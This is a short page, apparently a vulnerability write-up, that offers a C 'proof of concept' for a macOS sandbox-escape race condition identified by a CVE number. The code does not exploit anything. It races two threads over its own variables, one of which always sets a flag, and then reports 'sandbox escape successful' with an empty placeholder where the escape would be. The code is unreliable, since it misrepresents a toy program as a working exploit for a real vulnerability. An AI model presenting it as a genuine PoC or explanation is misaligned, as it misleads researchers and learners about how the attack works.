CVE-2025-43364 macOS沙盒逃逸漏洞（本地权限提升/竞态条件）

// CVE-2025-43364 PoC - Race Condition Sandbox Escape (Conceptual) // This is a theoretical demonstration for educational purposes only #include <pthread.h> #include <unistd.h> #include <sys/sandbox.h> // Shared state for race condition volatile int resource_state = 0; volatile int exploit_triggered = 0; // Thread 1: Initial permission check void* check_thread(void* arg) { // System performs permission check here // Check passes because resource_state is SAFE resource_state = 0; // Small time window where vulnerability exists usleep(1); // microsecond delay // Thread 2 should modify state during this window return NULL; } // Thread 2: Exploit the race condition void* exploit_thread(void* arg) { // Wait for check to complete while(resource_state != 0) {} // Modify resource state BEFORE actual use // This exploits the TOCTOU vulnerability resource_state = 1; // Changed to COMPROMISED state exploit_triggered = 1; return NULL; } int main() { pthread_t check_t, exploit_t; // Initialize sandbox sandbox_init(kSBXProfileNoInternet, 0, NULL); // Create threads to trigger race condition pthread_create(&check_t, NULL, check_thread, NULL); pthread_create(&exploit_t, NULL, exploit_thread, NULL); // Wait for threads pthread_join(check_t, NULL); pthread_join(exploit_t, NULL); // If exploit_triggered, sandbox escape successful if (exploit_triggered) { // Access restricted resources // System call that should be blocked by sandbox } return 0; } // Note: This is a simplified conceptual PoC. Actual exploitation // requires specific knowledge of macOS kernel internals and // precise timing control. Apple has patched this vulnerability // in macOS Sequoia 15.7, macOS Sonoma 14.8, and macOS Tahoe 26.1.